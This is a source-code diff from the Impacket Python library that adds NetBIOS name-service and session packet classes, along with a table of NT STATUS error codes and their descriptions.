+        self.num_names = unpack('B', self['RDATA'][:1])[0]
+        self.entries = list()
+        data = self['RDATA'][1:]
+        for _ in range(self.num_names):
+            entry = NODE_NAME_ENTRY(data)
+            data = data[len(entry):]
+            self.entries.append(entry)
+        self.statistics = STATISTICS(data)
+        self.set_mac_in_hexa(self.statistics['UNIT_ID'])
+
+    def set_mac_in_hexa(self, data):
+        data_aux = u''
+        for d in bytearray(data):
+            if data_aux == '':
+                data_aux = '%02x' % d
+            else:
+                data_aux += '-%02x' % d
+        self.mac = data_aux.upper()
+
+    def get_mac(self):
+        return self.mac
+
+    def rawData(self):
+        res = pack('!B', self.num_names )
+        for i in range(0, self.num_names):
+            res += self.entries[i].getData()
+
+class NBPositiveNameQueryResponse(NBNSResourceRecord):
+    def __init__(self, data = 0):
+        NBNSResourceRecord.__init__(self, data)
+        self.entries = [ ]
+        rdata = self['RDATA']
+        while len(rdata) > 0:
+            entry = ADDR_ENTRY(rdata)
+            rdata = rdata[len(entry):]
+            self.entries.append(socket.inet_ntoa(entry['NB_ADDRESS']))
+
+# 4.2.1.  GENERAL FORMAT OF NAME SERVICE PACKETS
+class NAME_SERVICE_PACKET(Structure):
+    commonHdr = (
+        ('NAME_TRN_ID','>H=0'),
+        ('FLAGS','>H=0'),
+        ('QDCOUNT','>H=0'),
+        ('ANCOUNT','>H=0'),
+        ('NSCOUNT','>H=0'),
+        ('ARCOUNT','>H=0'),
+    )
+    structure = (
+        ('ANSWERS',':'),
+    )
+
+# 4.2.1.2.  QUESTION SECTION
+class QUESTION_ENTRY(Structure):
+    commonHdr = (
+        ('QUESTION_NAME','z'),
+        ('QUESTION_TYPE','>H=0'),
+        ('QUESTION_CLASS','>H=0'),
+    )
+
+# 4.2.1.3.  RESOURCE RECORD
+class RESOURCE_RECORD(Structure):
+    structure = (
+        ('RR_NAME','z=\x00'),
+        ('RR_TYPE','>H=0'),
+        ('RR_CLASS','>H=0'),
+        ('TTL','>L=0'),
+        ('RDLENGTH','>H-RDATA'),
+        ('RDATA',':=""'),
+    )
+
+# 4.2.2.  NAME REGISTRATION REQUEST
+class NAME_REGISTRATION_REQUEST(NAME_SERVICE_PACKET):
+    structure = (
+        ('QUESTION_NAME', ':'),
+        ('QUESTION_TYPE', '>H=0'),
+        ('QUESTION_CLASS', '>H=0'),
+        ('RR_NAME',':', ),
+        ('RR_TYPE', '>H=0'),
+        ('RR_CLASS','>H=0'),
+        ('TTL', '>L=0'),
+        ('RDLENGTH', '>H=6'),
+        ('NB_FLAGS', '>H=0'),
+        ('NB_ADDRESS', '4s=b""'),
+    )
+    def __init__(self, data=None):
+        NAME_SERVICE_PACKET.__init__(self,data)
+        self['FLAGS'] = OPCODE_REQUEST | NM_FLAGS_RD | OPCODE_REGISTRATION
+        self['QDCOUNT'] = 1
+        self['ANCOUNT'] = 0
+        self['NSCOUNT'] = 0
+        self['ARCOUNT'] = 1
+
+        self['QUESTION_TYPE'] = QUESTION_TYPE_NB
+        self['QUESTION_CLASS'] = QUESTION_CLASS_IN
+
+        self['RR_TYPE'] = RR_TYPE_NB
+        self['RR_CLASS'] = RR_CLASS_IN
+
+# 4.2.3.  NAME OVERWRITE REQUEST & DEMAND
+class NAME_OVERWRITE_REQUEST(NAME_REGISTRATION_REQUEST):
+    def __init__(self, data=None):
+        NAME_REGISTRATION_REQUEST.__init__(self,data)
+        self['FLAGS'] = OPCODE_REQUEST | OPCODE_REGISTRATION
+        self['QDCOUNT'] = 1
+        self['ANCOUNT'] = 0
+        self['NSCOUNT'] = 0
+        self['ARCOUNT'] = 1
+
+# 4.2.4.  NAME REFRESH REQUEST
+class NAME_REFRESH_REQUEST(NAME_REGISTRATION_REQUEST):
+    def __init__(self, data=None):
+        NAME_REGISTRATION_REQUEST.__init__(self,data)
+        self['FLAGS'] = OPCODE_REFRESH | 0x1
+        self['QDCOUNT'] = 1
+        self['ANCOUNT'] = 0
+        self['NSCOUNT'] = 0
+        self['ARCOUNT'] = 1
+
+# 4.2.5.  POSITIVE NAME REGISTRATION RESPONSE
+# 4.2.6.  NEGATIVE NAME REGISTRATION RESPONSE
+# 4.2.7.  END-NODE CHALLENGE REGISTRATION RESPONSE
+class NAME_REGISTRATION_RESPONSE(NAME_REGISTRATION_REQUEST):
+    def __init__(self, data=None):
+        NAME_REGISTRATION_REQUEST.__init__(self,data)
+
+# 4.2.8.  NAME CONFLICT DEMAND
+class NAME_CONFLICT_DEMAND(NAME_REGISTRATION_REQUEST):
+    def __init__(self, data=None):
+        NAME_REGISTRATION_REQUEST.__init__(self,data)
+
+# ToDo: 4.2.9.  NAME RELEASE REQUEST & DEMAND
+# ToDo: 4.2.10.  POSITIVE NAME RELEASE RESPONSE
+# ToDo: 4.2.11.  NEGATIVE NAME RELEASE RESPONSE
+
+# 4.2.12.  NAME QUERY REQUEST
+class NAME_QUERY_REQUEST(NAME_SERVICE_PACKET):
+    structure = (
+        ('QUESTION_NAME', ':'),
+        ('QUESTION_TYPE', '>H=0'),
+        ('QUESTION_CLASS', '>H=0'),
+    )
+    def __init__(self, data=None):
+        NAME_SERVICE_PACKET.__init__(self,data)
+        self['FLAGS'] = OPCODE_REQUEST | OPCODE_REGISTRATION | NM_FLAGS_RD
+        self['RCODE'] = 0
+        self['QDCOUNT'] = 1
+        self['ANCOUNT'] = 0
+        self['NSCOUNT'] = 0
+        self['ARCOUNT'] = 0
+
+        self['QUESTION_TYPE'] = QUESTION_TYPE_NB
+        self['QUESTION_CLASS'] = QUESTION_CLASS_IN
+
+# 4.2.13.  POSITIVE NAME QUERY RESPONSE
+class ADDR_ENTRY(Structure):
+    structure = (
+        ('NB_FLAGS', '>H=0'),
+        ('NB_ADDRESS', '4s=b""'),
+    )
+
+# ToDo: 4.2.15.  REDIRECT NAME QUERY RESPONSE
+# ToDo: 4.2.16.  WAIT FOR ACKNOWLEDGEMENT (WACK) RESPONSE
+
+# 4.2.17.  NODE STATUS REQUEST
+class NODE_STATUS_REQUEST(NAME_QUERY_REQUEST):
+    def __init__(self, data=None):
+        NAME_QUERY_REQUEST.__init__(self,data)
+
+        self['FLAGS'] = 0
+        self['QUESTION_TYPE'] = QUESTION_TYPE_NBSTAT
+
+# 4.2.18.  NODE STATUS RESPONSE
+class NODE_NAME_ENTRY(Structure):
+    structure = (
+        ('NAME','15s=b""'),
+        ('TYPE','B=0'),
+        ('NAME_FLAGS','>H'),
+    )
+
+class STATISTICS(Structure):
+    structure = (
+        ('UNIT_ID','6s=b""'),
+        ('JUMPERS','B'),
+        ('TEST_RESULT','B'),
+        ('VERSION_NUMBER','>H'),
+        ('PERIOD_OF_STATISTICS','>H'),
+        ('NUMBER_OF_CRCs','>H'),
+        ('NUMBER_ALIGNMENT_ERRORS','>H'),
+        ('NUMBER_OF_COLLISIONS','>H'),
+        ('NUMBER_SEND_ABORTS','>H'),
+        ('NUMBER_GOOD_SENDS','>L'),
+        ('NUMBER_GOOD_RECEIVES','>L'),
+        ('NUMBER_RETRANSMITS','>H'),
+        ('NUMBER_NO_RESOURCE_CONDITIONS','>H'),
+        ('NUMBER_FREE_COMMAND_BLOCKS','>H'),
+        ('TOTAL_NUMBER_COMMAND_BLOCKS','>H'),
+        ('MAX_TOTAL_NUMBER_COMMAND_BLOCKS','>H'),
+        ('NUMBER_PENDING_SESSIONS','>H'),
+        ('MAX_NUMBER_PENDING_SESSIONS','>H'),
+        ('MAX_TOTAL_SESSIONS_POSSIBLE','>H'),
+        ('SESSION_DATA_PACKET_SIZE','>H'),
+    )
+
+class NetBIOS:
+    # Creates a NetBIOS instance without specifying any default NetBIOS domain nameserver.
+    # All queries will be sent through the servport.
+    def __init__(self, servport = NETBIOS_NS_PORT):
+        self.__servport = NETBIOS_NS_PORT
+        self.__nameserver = None
+        self.__broadcastaddr = BROADCAST_ADDR
+        self.mac = b'00-00-00-00-00-00'
+
+    def _setup_connection(self, dstaddr, timeout=None):
+        port = rand.randint(10000, 60000)
+        af, socktype, proto, _canonname, _sa = socket.getaddrinfo(dstaddr, port, socket.AF_INET, socket.SOCK_DGRAM)[0]
+        s = socket.socket(af, socktype, proto)
+        has_bind = 1
+        for _i in range(0, 10):
+            # We try to bind to a port for 10 tries
+            try:
+                s.bind((INADDR_ANY, rand.randint(10000, 60000)))
+                s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
+                has_bind = 1
+            except socket.error:
+                pass
+        if not has_bind:
+            raise NetBIOSError('Cannot bind to a good UDP port', ERRCLASS_OS, errno.EAGAIN)
+        self.__sock = s
+
+    def send(self, request, destaddr, timeout):
+        self._setup_connection(destaddr)
+
+        tries = 3
+        while 1:
+            try:
+                self.__sock.sendto(request.getData(), 0, (destaddr, self.__servport))
+                ready, _, _ = select.select([self.__sock.fileno()], [], [], timeout)
+                if not ready:
+                    if tries:
+                        # Retry again until tries == 0
+                        tries -= 1
+                    else:
+                        raise NetBIOSTimeout
+                else:
+                    try:
+                        data, _ = self.__sock.recvfrom(65536, 0)
+                    except Exception as e:
+                        raise NetBIOSError("recvfrom error: %s" % str(e))
+                    self.__sock.close()
+                    res = NAME_SERVICE_PACKET(data)
+                    if res['NAME_TRN_ID'] == request['NAME_TRN_ID']:
+                        if (res['FLAGS'] & 0xf) > 0:
+                            raise NetBIOSError('Negative response', ERRCLASS_QUERY, res['FLAGS'] & 0xf)
+                        return res
+            except select.error as ex:
+                if ex.errno != errno.EINTR and ex.errno != errno.EAGAIN:
+                    raise NetBIOSError('Error occurs while waiting for response', ERRCLASS_OS, ex.errno)
+            except socket.error as ex:
+                raise NetBIOSError('Connection error: %s' % str(ex))
+
+    # Set the default NetBIOS domain nameserver.
+    def set_nameserver(self, nameserver):
+        self.__nameserver = nameserver
+
+    # Return the default NetBIOS domain nameserver, or None if none is specified.
+    def get_nameserver(self):
+        return self.__nameserver
+
+    # Set the broadcast address to be used for query.
+    def set_broadcastaddr(self, broadcastaddr):
+        self.__broadcastaddr = broadcastaddr
+
+    # Return the broadcast address to be used, or BROADCAST_ADDR if default broadcast address is used.   
+    def get_broadcastaddr(self):
+        return self.__broadcastaddr
+
+    # Returns a NBPositiveNameQueryResponse instance containing the host information for nbname.
+    # If a NetBIOS domain nameserver has been specified, it will be used for the query.
+    # Otherwise, the query is broadcasted on the broadcast address.
+    def gethostbyname(self, nbname, qtype = TYPE_WORKSTATION, scope = None, timeout = 1):
+        resp = self.name_query_request(nbname, self.__nameserver, qtype, scope, timeout)
+        return resp
+
+    # Returns a list of NBNodeEntry instances containing node status information for nbname.
+    # If destaddr contains an IP address, then this will become an unicast query on the destaddr.
+    # Raises NetBIOSTimeout if timeout (in secs) is reached.
+    # Raises NetBIOSError for other errors
+    def getnodestatus(self, nbname, destaddr = None, type = TYPE_WORKSTATION, scope = None, timeout = 1):
+        if destaddr:
+            return self.node_status_request(nbname, destaddr, type, scope, timeout)
+        else:
+            return self.node_status_request(nbname, self.__nameserver, type, scope, timeout)
+
+    def getnetbiosname(self, ip):
+        entries = self.getnodestatus('*',ip)
+        entries = [x for x in entries if x['TYPE'] == TYPE_SERVER]
+        return entries[0]['NAME'].strip().decode('latin-1')
+
+    def getmacaddress(self):
+        return self.mac
+
+    def name_registration_request(self, nbname, destaddr, qtype, scope, nb_flags=0, nb_address='0.0.0.0'):
+        netbios_name = nbname.upper()
+        qn_label = encode_name(netbios_name, qtype, scope)
+
+        p = NAME_REGISTRATION_REQUEST()
+        p['NAME_TRN_ID'] = rand.randint(1, 32000)
+        p['QUESTION_NAME'] = qn_label[:-1] + b'\x00'
+        p['RR_NAME'] = qn_label[:-1] + b'\x00'
+        p['TTL'] = 0xffff
+        p['NB_FLAGS'] = nb_flags
+        p['NB_ADDRESS'] = socket.inet_aton(nb_address)
+        if not destaddr:
+            p['FLAGS'] |= NM_FLAGS_BROADCAST
+            destaddr = self.__broadcastaddr
+
+        res = self.send(p, destaddr, 1)
+        return res
+
+    def name_query_request(self, nbname, destaddr = None, qtype = TYPE_SERVER, scope = None, timeout = 1):
+        netbios_name = nbname.upper()
+        qn_label = encode_name(netbios_name, qtype, scope)
+
+        p = NAME_QUERY_REQUEST()
+        p['NAME_TRN_ID'] = rand.randint(1, 32000)
+        p['QUESTION_NAME'] = qn_label[:-1] + b'\x00'
+        p['FLAGS'] = NM_FLAGS_RD
+        if not destaddr:
+            p['FLAGS'] |= NM_FLAGS_BROADCAST
+
+            destaddr = self.__broadcastaddr
+
+        res = self.send(p, destaddr, timeout)
+        return NBPositiveNameQueryResponse(res['ANSWERS'])
+
+    def node_status_request(self, nbname, destaddr, type, scope, timeout):
+        netbios_name = nbname.upper()
+        qn_label = encode_name(netbios_name, type, scope)
+        p = NODE_STATUS_REQUEST()
+        p['NAME_TRN_ID'] = rand.randint(1, 32000)
+        p['QUESTION_NAME'] = qn_label[:-1] + b'\x00'
+
+        if not destaddr:
+            p['FLAGS'] = NM_FLAGS_BROADCAST
+            destaddr = self.__broadcastaddr
+
+        res = self.send(p, destaddr, timeout)
+        answ = NBNodeStatusResponse(res['ANSWERS'])
+        self.mac = answ.get_mac()
+        return answ.entries
+
+################################################################################
+# 4.2 SESSION SERVICE PACKETS
+################################################################################
+
+class NetBIOSSessionPacket:
+    def __init__(self, data=0):
+        self.type = 0x0
+        self.flags = 0x0
+        self.length = 0x0
+        if data == 0:
+            self._trailer = b''
+        else:
+            try:
+                self.type = indexbytes(data,0)
+                if self.type == NETBIOS_SESSION_MESSAGE:
+                    self.length = indexbytes(data,1) << 16 | (unpack('!H', data[2:4])[0])
+                else:
+                    self.flags = data[1]
+                    self.length = unpack('!H', data[2:4])[0]
+
+                self._trailer = data[4:]
+            except:
+                raise NetBIOSError('Wrong packet format ')
+
+    def set_type(self, type):
+        self.type = type
+
+    def get_type(self):
+        return self.type
+
+    def rawData(self):
+        if self.type == NETBIOS_SESSION_MESSAGE:
+            data = pack('!BBH', self.type, self.length >> 16, self.length & 0xFFFF) + self._trailer
+        else:
+            data = pack('!BBH', self.type, self.flags, self.length) + self._trailer
+        return data
+
+    def set_trailer(self, data):
+        self._trailer = data
+        self.length = len(data)
+
+    def get_length(self):
+        return self.length
+
+    def get_trailer(self):
+        return self._trailer
+        
+class NetBIOSSession:
+    def __init__(self, myname, remote_name, remote_host, remote_type=TYPE_SERVER, sess_port=NETBIOS_SESSION_PORT,
+                 timeout=None, local_type=TYPE_WORKSTATION, sock=None):
+        """
+
+        :param unicode myname: My local NetBIOS name
+        :param unicode remote_name: Remote NetBIOS name
+        :param unicode remote_host: Remote IP Address
+        :param integer remote_type: NetBIOS Host type
+        :param integer sess_port: Session port to connect (139,445)
+        :param integer timeout: Timeout for connection
+        :param integer local_type: My Local Host Type
+        :param socket sock: Socket for already established connection
+        """
+        if len(myname) > 15:
+            self.__myname = myname[:15].upper()
+        else:
+            self.__myname = myname.upper()
+        self.__local_type = local_type
+
+        assert remote_name
+        # if destination port SMB_SESSION_PORT and remote name *SMBSERVER, we're changing it to its IP address
+        # helping solving the client mistake ;)
+        if remote_name == '*SMBSERVER' and sess_port == SMB_SESSION_PORT:
+            remote_name = remote_host
+
+        # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best
+
+        if remote_name == '*SMBSERVER':
+            nb = NetBIOS()
+            try:
+                res = nb.getnetbiosname(remote_host)
+            except:
+                res = None
+                pass
+
+            if res is not None:
+                remote_name = res
+
+        if len(remote_name) > 15:
+            self.__remote_name = remote_name[:15].upper()
+        else:
+            self.__remote_name = remote_name.upper()
+        self.__remote_type = remote_type
+        self.__remote_host = remote_host
+
+        if sock is not None:
+            # We are acting as a server
+            self._sock = sock
+        else:
+            self._sock = self._setup_connection((remote_host, sess_port), timeout)
+
+        if sess_port == NETBIOS_SESSION_PORT:
+            self._request_session(remote_type, local_type, timeout)
+
+    def _request_session(self, remote_type, local_type, timeout):
+        raise NotImplementedError('Not Implemented!')
+
+    def _setup_connection(self, peer, timeout=None):
+        raise NotImplementedError('Not Implemented!')
+
+    def get_myname(self):
+        return self.__myname
+
+    def get_mytype(self):
+        return self.__local_type
+
+    def get_remote_host(self):
+        return self.__remote_host
+
+    def get_remote_name(self):
+        return self.__remote_name
+
+    def get_remote_type(self):
+        return self.__remote_type
+
+    def close(self):
+        self._sock.close()
+
+    def get_socket(self):
+        return self._sock
+
+class NetBIOSUDPSessionPacket(Structure):
+    TYPE_DIRECT_UNIQUE = 16
+    TYPE_DIRECT_GROUP  = 17
+
+    FLAGS_MORE_FRAGMENTS = 1
+    FLAGS_FIRST_FRAGMENT = 2
+    FLAGS_B_NODE         = 0
+
+    structure = (
+        ('Type','B=16'),    # Direct Unique Datagram
+        ('Flags','B=2'),    # FLAGS_FIRST_FRAGMENT
+        ('ID','<H'),
+        ('_SourceIP','>L'),
+        ('SourceIP','"'),
+        ('SourcePort','>H=138'),
+        ('DataLegth','>H-Data'),
+        ('Offset','>H=0'),
+        ('SourceName','z'),
+        ('DestinationName','z'),
+        ('Data',':'),
+    )
+
+    def getData(self):
+        addr = self['SourceIP'].split('.')
+        addr = [int(x) for x in addr]
+        addr = (((addr[0] << 8) + addr[1] << 8) + addr[2] << 8) + addr[3]
+        self['_SourceIP'] = addr
+        return Structure.getData(self)
+
+    def get_trailer(self):
+        return self['Data']
+
+class NetBIOSUDPSession(NetBIOSSession):
+    def _setup_connection(self, peer, timeout=None):
+        af, socktype, proto, canonname, sa = socket.getaddrinfo(peer[0], peer[1], 0, socket.SOCK_DGRAM)[0]
+        sock = socket.socket(af, socktype, proto)
+        sock.connect(sa)
+
+        sock = socket.socket(af, socktype, proto)
+        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        sock.bind((INADDR_ANY, 138))
+        self.peer = peer
+        return sock
+
+    def _request_session(self, remote_type, local_type, timeout = None):
+        pass
+
+    def next_id(self):
+        if hasattr(self, '__dgram_id'):
+            answer = self.__dgram_id
+        else:
+            self.__dgram_id = rand.randint(1,65535)
+            answer = self.__dgram_id
+        self.__dgram_id += 1
+        return answer
+
+    def send_packet(self, data):
+        # Yes... I know...
+        self._sock.connect(self.peer)
+
+        p = NetBIOSUDPSessionPacket()
+        p['ID'] = self.next_id()
+        p['SourceIP'] = self._sock.getsockname()[0]
+        p['SourceName'] = encode_name(self.get_myname(), self.get_mytype(), '')[:-1]
+        p['DestinationName'] = encode_name(self.get_remote_name(), self.get_remote_type(), '')[:-1]
+        p['Data'] = data
+
+        self._sock.sendto(str(p), self.peer)
+        self._sock.close()
+
+        self._sock = self._setup_connection(self.peer)
+
+    def recv_packet(self, timeout = None):
+        # The next loop is a workaround for a bigger problem:
+        # When data reaches higher layers, the lower headers are lost,
+        # and with them, for example, the source IP. Hence, SMB users
+        # can't know where packets are coming from... we need a better
+        # solution, right now, we will filter everything except packets
+        # coming from the remote_host specified in __init__()
+
+        while 1:
+            data, peer = self._sock.recvfrom(8192)
+#            print "peer: %r  self.peer: %r" % (peer, self.peer)
+            if peer == self.peer:
+                break
+
+        return NetBIOSUDPSessionPacket(data)
+
+class NetBIOSTCPSession(NetBIOSSession):
+    def __init__(self, myname, remote_name, remote_host, remote_type=TYPE_SERVER, sess_port=NETBIOS_SESSION_PORT,
+                 timeout=None, local_type=TYPE_WORKSTATION, sock=None, select_poll=False):
+        """
+        
+        :param unicode myname: My local NetBIOS name
+        :param unicode remote_name: Remote NetBIOS name
+        :param unicode remote_host: Remote IP Address
+        :param integer remote_type: NetBIOS Host type
+        :param integer sess_port: Session port to connect (139,445)
+        :param integer timeout: Timeout for connection
+        :param integer local_type: My Local Host Type
+        :param socket sock: Socket for already established connection
+        :param boolean select_poll: Type of polling mechanism
+        """
+        self.__select_poll = select_poll
+        if self.__select_poll:
+            self.read_function = self.polling_read
+        else:
+            self.read_function = self.non_polling_read
+        NetBIOSSession.__init__(self, myname, remote_name, remote_host, remote_type=remote_type, sess_port=sess_port,
+                                timeout=timeout, local_type=local_type, sock=sock)
+
+    def _setup_connection(self, peer, timeout=None):
+        try:
+            af, socktype, proto, canonname, sa = socket.getaddrinfo(peer[0], peer[1], 0, socket.SOCK_STREAM)[0]
+            sock = socket.socket(af, socktype, proto)
+            oldtimeout = sock.gettimeout()
+            sock.settimeout(timeout)
+            sock.connect(sa)
+            sock.settimeout(oldtimeout)
+        except socket.error as e:
+            raise socket.error("Connection error (%s:%s)" % (peer[0], peer[1]), e)
+        return sock
+
+    def send_packet(self, data):
+        p = NetBIOSSessionPacket()
+        p.set_type(NETBIOS_SESSION_MESSAGE)
+        p.set_trailer(data)
+        self._sock.sendall(p.rawData())
+
+    def recv_packet(self, timeout = None):
+        data = self.__read(timeout)
+        NBSPacket = NetBIOSSessionPacket(data)
+        if NBSPacket.get_type() == NETBIOS_SESSION_KEEP_ALIVE:
+            # Discard packet
+            return self.recv_packet(timeout)
+        return NetBIOSSessionPacket(data)
+
+    def _request_session(self, remote_type, local_type, timeout = None):
+        p = NetBIOSSessionPacket()
+        remote_name = encode_name(self.get_remote_name(), remote_type, '')
+        myname = encode_name(self.get_myname(), local_type, '')
+        p.set_type(NETBIOS_SESSION_REQUEST)
+        p.set_trailer(remote_name + myname)
+
+        self._sock.sendall(p.rawData())
+        while 1:
+            p = self.recv_packet(timeout)
+            if p.get_type() == NETBIOS_SESSION_NEGATIVE_RESPONSE:
+                raise NetBIOSError('Cannot request session (Called Name:%s)' % self.get_remote_name())
+            elif p.get_type() == NETBIOS_SESSION_POSITIVE_RESPONSE:
+                break
+            else:
+                # Ignore all other messages, most probably keepalive messages
+                pass
+
+    def polling_read(self, read_length, timeout):
+        data = b''
+        if timeout is None:
+            timeout = 3600
+
+        time_left = timeout
+        CHUNK_TIME = 0.025
+        bytes_left = read_length
+
+        while bytes_left > 0:
+            try:
+                ready, _, _ = select.select([self._sock.fileno()], [], [], 0)
+
+                if not ready:
+                    if time_left <= 0:
+                        raise NetBIOSTimeout
+                    else:
+                        time.sleep(CHUNK_TIME)
+                        time_left -= CHUNK_TIME
+                        continue
+
+                received = self._sock.recv(bytes_left)
+                if len(received) == 0:
+                    raise NetBIOSError('Error while reading from remote', ERRCLASS_OS, None)
+
+                data = data + received
+                bytes_left = read_length - len(data)
+            except select.error as ex:
+                if ex.errno != errno.EINTR and ex.errno != errno.EAGAIN:
+                    raise NetBIOSError('Error occurs while reading from remote', ERRCLASS_OS, ex.errno)
+
+        return bytes(data)
+
+    def non_polling_read(self, read_length, timeout):
+        data = b''
+        if timeout is None:
+            timeout = 3600
+
+        start_time = time.time()
+        bytes_left = read_length
+
+        while bytes_left > 0:
+            self._sock.settimeout(timeout)
+            try:
+                received = self._sock.recv(bytes_left)
+            except socket.timeout:
+                raise NetBIOSTimeout
+            except Exception as ex:
+                raise NetBIOSError('Error occurs while reading from remote', ERRCLASS_OS, ex.errno)
+
+            if (time.time() - start_time) > timeout:
+                raise NetBIOSTimeout
+
+            if len(received) == 0:
+                raise NetBIOSError('Error while reading from remote', ERRCLASS_OS, None)
+
+            data = data + received
+            bytes_left = read_length - len(data)
+
+        return bytes(data)
+
+    def __read(self, timeout = None):
+        data = self.read_function(4, timeout)
+        type, flags, length = unpack('>ccH', data)
+        if ord(type) == NETBIOS_SESSION_MESSAGE:
+            length |= ord(flags) << 16
+        else:
+            if ord(flags) & 0x01:
+                length |= 0x10000
+        data2 = self.read_function(length, timeout)
+
+        return data + data2
diff --git a/impacket/nt_errors.py b/impacket/nt_errors.py
new file mode 100644
index 0000000..9e4da1c
--- /dev/null
+++ b/impacket/nt_errors.py
@@ -0,0 +1,3607 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   NT STATUS Errors from [MS-ERREF]. Ideally all the files
+#   should grab the error codes from here (big ToDo)
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+ERROR_MESSAGES = {
+        0x00000000: ("STATUS_SUCCESS","The operation completed successfully."),
+        0x00000001: ("STATUS_WAIT_1","The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state."),
+        0x00000002: ("STATUS_WAIT_2","The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state."),
+        0x00000003: ("STATUS_WAIT_3","The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state."),
+        0x0000003F: ("STATUS_WAIT_63","The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state."),
+        0x00000080: ("STATUS_ABANDONED","The caller attempted to wait for a mutex that has been abandoned."),
+        0x00000080: ("STATUS_ABANDONED_WAIT_0","The caller attempted to wait for a mutex that has been abandoned."),
+        0x000000BF: ("STATUS_ABANDONED_WAIT_63","The caller attempted to wait for a mutex that has been abandoned."),
+        0x000000C0: ("STATUS_USER_APC","A user-mode APC was delivered before the given Interval expired."),
+        0x00000101: ("STATUS_ALERTED","The delay completed because the thread was alerted."),
+        0x00000102: ("STATUS_TIMEOUT","The given Timeout interval expired."),
+        0x00000103: ("STATUS_PENDING","The operation that was requested is pending completion."),
+        0x00000104: ("STATUS_REPARSE","A reparse should be performed by the Object Manager because the name of the file resulted in a symbolic link."),
+        0x00000105: ("STATUS_MORE_ENTRIES","Returned by enumeration APIs to indicate more information is available to successive calls."),
+        0x00000106: ("STATUS_NOT_ALL_ASSIGNED","Indicates not all privileges or groups that are referenced are assigned to the caller. This allows, for example, all privileges to be disabled without having to know exactly which privileges are assigned."),
+        0x00000107: ("STATUS_SOME_NOT_MAPPED","Some of the information to be translated has not been translated."),
+        0x00000108: ("STATUS_OPLOCK_BREAK_IN_PROGRESS","An open/create operation completed while an opportunistic lock (oplock) break is underway."),
+        0x00000109: ("STATUS_VOLUME_MOUNTED","A new volume has been mounted by a file system."),
+        0x0000010A: ("STATUS_RXACT_COMMITTED","This success level status indicates that the transaction state already exists for the registry subtree but that a transaction commit was previously aborted. The commit has now been completed."),
+        0x0000010B: ("STATUS_NOTIFY_CLEANUP","Indicates that a notify change request has been completed due to closing the handle that made the notify change request."),
+        0x0000010C: ("STATUS_NOTIFY_ENUM_DIR","Indicates that a notify change request is being completed and that the information is not being returned in the caller's buffer. The caller now needs to enumerate the files to find the changes."),
+        0x0000010D: ("STATUS_NO_QUOTAS_FOR_ACCOUNT","{No Quotas} No system quota limits are specifically set for this account."),
+        0x0000010E: ("STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED","{Connect Failure on Primary Transport} An attempt was made to connect to the remote server %hs on the primary transport, but the connection failed. The computer WAS able to connect on a secondary transport."),
+        0x00000110: ("STATUS_PAGE_FAULT_TRANSITION","The page fault was a transition fault."),
+        0x00000111: ("STATUS_PAGE_FAULT_DEMAND_ZERO","The page fault was a demand zero fault."),
+        0x00000112: ("STATUS_PAGE_FAULT_COPY_ON_WRITE","The page fault was a demand zero fault."),
+        0x00000113: ("STATUS_PAGE_FAULT_GUARD_PAGE","The page fault was a demand zero fault."),
+        0x00000114: ("STATUS_PAGE_FAULT_PAGING_FILE","The page fault was satisfied by reading from a secondary storage device."),
+        0x00000115: ("STATUS_CACHE_PAGE_LOCKED","The cached page was locked during operation."),
+        0x00000116: ("STATUS_CRASH_DUMP","The crash dump exists in a paging file."),
+        0x00000117: ("STATUS_BUFFER_ALL_ZEROS","The specified buffer contains all zeros."),
+        0x00000118: ("STATUS_REPARSE_OBJECT","A reparse should be performed by the Object Manager because the name of the file resulted in a symbolic link."),
+        0x00000119: ("STATUS_RESOURCE_REQUIREMENTS_CHANGED","The device has succeeded a query-stop and its resource requirements have changed."),
+        0x00000120: ("STATUS_TRANSLATION_COMPLETE","The translator has translated these resources into the global space and no additional translations should be performed."),
+        0x00000121: ("STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY","The directory service evaluated group memberships locally, because it was unable to contact a global catalog server."),
+        0x00000122: ("STATUS_NOTHING_TO_TERMINATE","A process being terminated has no threads to terminate."),
+        0x00000123: ("STATUS_PROCESS_NOT_IN_JOB","The specified process is not part of a job."),
+        0x00000124: ("STATUS_PROCESS_IN_JOB","The specified process is part of a job."),
+        0x00000125: ("STATUS_VOLSNAP_HIBERNATE_READY","{Volume Shadow Copy Service} The system is now ready for hibernation."),
+        0x00000126: ("STATUS_FSFILTER_OP_COMPLETED_SUCCESSFULLY","A file system or file system filter driver has successfully completed an FsFilter operation."),
+        0x00000127: ("STATUS_INTERRUPT_VECTOR_ALREADY_CONNECTED","The specified interrupt vector was already connected."),
+        0x00000128: ("STATUS_INTERRUPT_STILL_CONNECTED","The specified interrupt vector is still connected."),
+        0x00000129: ("STATUS_PROCESS_CLONED","The current process is a cloned process."),
+        0x0000012A: ("STATUS_FILE_LOCKED_WITH_ONLY_READERS","The file was locked and all users of the file can only read."),
+        0x0000012B: ("STATUS_FILE_LOCKED_WITH_WRITERS","The file was locked and at least one user of the file can write."),
+        0x00000202: ("STATUS_RESOURCEMANAGER_READ_ONLY","The specified ResourceManager made no changes or updates to the resource under this transaction."),
+        0x00000367: ("STATUS_WAIT_FOR_OPLOCK","An operation is blocked and waiting for an oplock."),
+        0x00010001: ("DBG_EXCEPTION_HANDLED","Debugger handled the exception."),
+        0x00010002: ("DBG_CONTINUE","The debugger continued."),
+        0x001C0001: ("STATUS_FLT_IO_COMPLETE","The IO was completed by a filter."),
+        0xC0000467: ("STATUS_FILE_NOT_AVAILABLE","The file is temporarily unavailable."),
+        0xC0000721: ("STATUS_CALLBACK_RETURNED_THREAD_AFFINITY","A threadpool worker thread entered a callback at thread affinity %p and exited at affinity %p.  This is unexpected, indicating that the callback missed restoring the priority."),
